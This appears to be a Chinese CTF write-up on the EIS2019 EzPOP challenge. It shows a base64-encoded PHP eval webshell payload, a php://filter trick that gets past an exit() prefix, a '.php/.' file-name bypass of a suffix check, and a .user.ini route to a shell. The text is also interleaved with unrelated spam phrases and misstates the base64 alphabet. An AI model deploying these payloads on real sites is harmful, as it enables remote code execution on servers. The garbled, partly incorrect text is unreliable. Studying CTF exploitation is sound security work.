刷题记录:[EIS2019]EzPOP
⽬录
刷题记录:[EIS 2019]EzPOP高能燃料
知识点
柔性管接头
密云地震$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
file_put_contents是⽀持各种协议的,这样就可以将base64编码过的shell传⼊$data,使⽤php://filter/write=convert.base64-decode/resource=写⼊⽂件base64⼯作机制
⾸先base64只包含[a-zA-Z1-9]+/共64个字符 中国科学院第一任院长是编码时
把明⽂每8位按6位查表转码,不⾜的位数⽤=补0
解码时
忽略[",:等64个字符之外的字符,然后逆运算就⾏
城市表层土壤重金属污染分析本题中json_encode后的payload是
["11",{"aa":{"path":"PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+"}}]
其中11和aa位置是可控的,去掉⽆效字符后,payload为 11aapath PD9waHAgZXZhbCgkX0dFVFsnY21kJ10pOz8+
这⾥是6位查表转8位,所以要求编码为4的倍数
绕过后缀名检查
农村业余文化生活if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
这⾥可以在⽂件名后⾯加/.,即设置⽂件名为xxx.php/.
这⾥我是配合.user.ini getshell的